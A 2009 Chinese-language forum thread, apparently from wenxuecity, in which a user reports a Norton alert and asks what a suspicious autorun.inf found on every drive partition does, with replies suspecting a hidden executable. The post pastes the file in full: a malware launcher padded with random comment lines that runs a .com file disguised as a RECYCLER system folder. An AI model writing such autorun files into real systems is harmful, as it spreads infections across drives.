緊急求救高手:發現可疑文件!!!先謝了!

來源: 群眾甲 2009-05-30 19:10:36 [] [舊帖] [給我悄悄話] 本文已被閱讀: 次 (607 bytes)
剛才去了個可疑網站,諾頓軟件立即報警。把諾頓報警的所有可疑文件殺掉並重新起動後,再仔細查看,發現每個硬盤分區上多了個autorun.inf,其內容如下。請問這東西會幹什麽?各位也不妨查查自己的機子上是否有中毒。
qz[autorun]
;uwbrtypyukojyzdbyewqhgyjiz
shellexecute="RECYCLER\S-2-9-24-100021892-100004342-100032734-9659.com c:\"
;ybxvpzoclvhzqbxlcgtujoqefvarvelzpbbtiwyxtocjmdcwgvzrsrfhoaxzrwjhmobpmur*****t
shell\Open\command="RECYCLER\S-2-9-24-100021892-100004342-100032734-9659.com c:\"
;ezrjwrhwujmzxlswnkykfbkwcsnsjvyzwkybngzefkunsfuykfuffbaaayusjkiyfltvdbhgwneeazwlmmfeflb
shell=Open

所有跟帖: 

各位也不妨查查自己的機子上是否有類似的可疑文件。。。 -群眾甲- 給 群眾甲 發送悄悄話 (0 bytes) () 05/30/2009 postreply 19:12:51

再看看每個盤是不是多了個exe文件,應該是中毒了. -vtam5789- 給 vtam5789 發送悄悄話 vtam5789 的博客首頁 (0 bytes) () 05/30/2009 postreply 20:00:41

沒有發現exe文件,隻有autorun.inf。謝謝。 -群眾甲- 給 群眾甲 發送悄悄話 (0 bytes) () 05/30/2009 postreply 20:40:21

exe應該是隱蔽了的,打開inf文件可以看到所要執行的程序 -vtam5789- 給 vtam5789 發送悄悄話 vtam5789 的博客首頁 (105 bytes) () 05/31/2009 postreply 08:14:39

請您先登陸,再發跟帖!

發現Adblock插件

如要繼續瀏覽
請支持本站 請務必在本站關閉/移除任何Adblock

關閉Adblock後 請點擊

請參考如何關閉Adblock/Adblock plus

安裝Adblock plus用戶請點擊瀏覽器圖標
選擇“Disable on www.wenxuecity.com”

安裝Adblock用戶請點擊圖標
選擇“don't run on pages on this domain”